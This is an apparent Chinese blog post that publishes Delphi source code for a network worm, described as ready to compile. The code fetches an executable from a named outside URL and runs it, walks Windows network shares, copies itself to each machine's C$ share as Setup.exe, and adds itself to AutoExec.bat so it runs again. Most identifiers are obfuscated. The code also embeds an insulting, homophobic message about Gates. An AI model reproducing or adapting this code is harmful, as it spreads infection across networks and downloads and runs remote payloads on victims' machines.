http://su.pdxx.com/linkboy/blogview.asp?logID=187&cateID=1
源码公布:可以直接编译.蠕虫部分是国外的代码.
Program a;
Uses
Windows;
Const
krnp : String = 'I want to dedicate this message to '+
'gates. Gates, you suck. Gates'+
'you really are homosexual. etc';
VAR
ww : String;
function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;
Function FileSize(FileName: String): Int64;
Var
zjzb: THandle;
exn: TWin32FindData;
Begin
Result:= -1;
zjzb:= FindFirstFile(PChar(FileName), exn);
If zjzb <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(zjzb);
Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
__pqxjj: THandle;
wgndplz: TWin32FindData;
begin
__pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
result:= __pqxjj <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(__pqxjj);
end;
end;
procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
WNetOpenEnum(2,0,0,aResource,qnlshmm);
kujf_n:=1024;
mec:=SizeOf(wgokq);
while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
for _fehlq:=0 to kujf_n-1 do
begin
if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
if wgokq[_fehlq].dwUsage>0 then
Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;
Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
Append(ktkma);
WriteLn(ktkma, 'Setup.exe');
CloseFile(ktkma);
End;
Except
;
End;
ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;
Begin
mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
WinExec('C:\win30.exe',0);
Network;
End.